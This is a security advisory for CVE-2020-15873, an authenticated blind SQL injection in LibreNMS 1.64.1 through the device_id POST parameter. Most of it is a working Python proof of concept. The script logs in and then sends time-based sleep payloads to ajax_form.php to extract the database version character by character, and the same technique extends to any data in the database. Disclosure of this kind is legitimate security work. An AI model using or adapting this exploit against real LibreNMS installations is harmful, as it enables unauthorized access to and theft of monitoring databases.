CVE-2020-15873: Blind SQL Injection in Librenms

Blind SQL Injection in Librenms

CVE Number

CVE-2020-15873

CWE

CWE-89: Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)

Product Details

LibreNMS is an autodiscovering PHP/MySQL/SNMP based network monitoring which includes support for a wide range of network hardware and operating systems including Cisco, Linux, FreeBSD, Juniper, Brocade, Foundry, HP and many more.

URL: https://github.com/librenms/librenms

Vulnerable Versions

1.64.1

Vulnerability Details

Librenms is vulnerable to blind SQL injection. Due to missing protection for SQL injection on customoid.inc.php. An authenticated attacker can inject malicious SQL queries in device_id POST parameter. Due to this flaw, an attacker can extract complete database information.

Analysis

Steps To Reproduce :

  • POC
import requests
import sys
from bs4 import BeautifulSoup

s = requests.Session()

def sqli(ip, inj_str):
	for j in range(32, 126):
		target = "http://%s/ajax_form.php" % sys.argv[1]
		p_data = {"action": "test", "type": "customoid", "device_id": inj_str.replace("[CHAR]", str(j))}
		r = s.post(target, data=p_data)
		if (round(r.elapsed.total_seconds()) > 7):
			return j
	return None

def main():
	ip = sys.argv[1]
	print "(+) Retrieving database version...."
	for i in range(1, 15):
		injection_string ="1 and if(ascii(substring((select version()),%d,1))=[CHAR],sleep(10),'bar')%%23" % i
		extracted_char = chr(sqli(ip, injection_string))
		sys.stdout.write(extracted_char) # displaying data
		sys.stdout.flush()
	print "\n(+) done!"

if __name__ == "__main__":
	if len(sys.argv) != 4:
		print "(+) usage: %s <target> <username> <password>" % sys.argv[0]
		print '(+) eg: %s domain/ip username password' % sys.argv[0]
		sys.exit(-1)

	login_url = "http://%s/login" % sys.argv[1]
	response = s.get(login_url)
	soup = BeautifulSoup(response.text, 'html.parser')
	_token = soup.find('input')['value'] 
	username = sys.argv[2]
	password = sys.argv[3]
	login_data = {"_token": _token, "username": username, "password": password, "remember": "on", "submit":""}
	login = s.post(login_url, data=login_data)
	main()
  • prerequisites :
    • Python module : bs4
  • Command : python $POC.py ip/domain username password

Exploitation

An authenticated attacker can extract arbitrary data from database.

Mitigation

Parameterize query should be used.

Credit

Discovered by ACE Team – Loginsoft